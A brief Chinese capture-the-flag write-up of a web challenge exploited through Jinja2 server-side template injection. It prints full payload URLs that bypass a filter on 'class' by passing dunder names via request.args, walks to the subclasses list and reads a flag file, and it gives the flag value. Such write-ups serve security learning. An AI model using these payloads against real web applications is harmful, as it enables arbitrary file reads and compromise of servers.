先看了源代码,发现:login.php和register.php都有:
但是逛了半天这玩意也没发现啥可以突破的地方,甚至一点提示都没有。也没有.git。
猜测有ssti,上典图。
好的,突破点来了,是Jinja2或Twig模板。
大佬文章:
Python SSTI漏洞学习总结 - Tuzkizki - 博客园
这龟龟题目,一出现class就报错,过滤是真狗。。。
不过好在大佬们总有办法:
class虽然不能出现在url中,但是利用python参数传递的动态特性绕过。
这种绕过方式还是第一次见。
经典永流传
http://223.112.5.141:61299/{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
由于要打开文件,直接找file(推荐)或system(麻烦)都行。
最后的payload:
http://223.112.5.141:61299/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
flag:cyberpeace{3ac6b4aa13fba390e5219e208e0f95f6}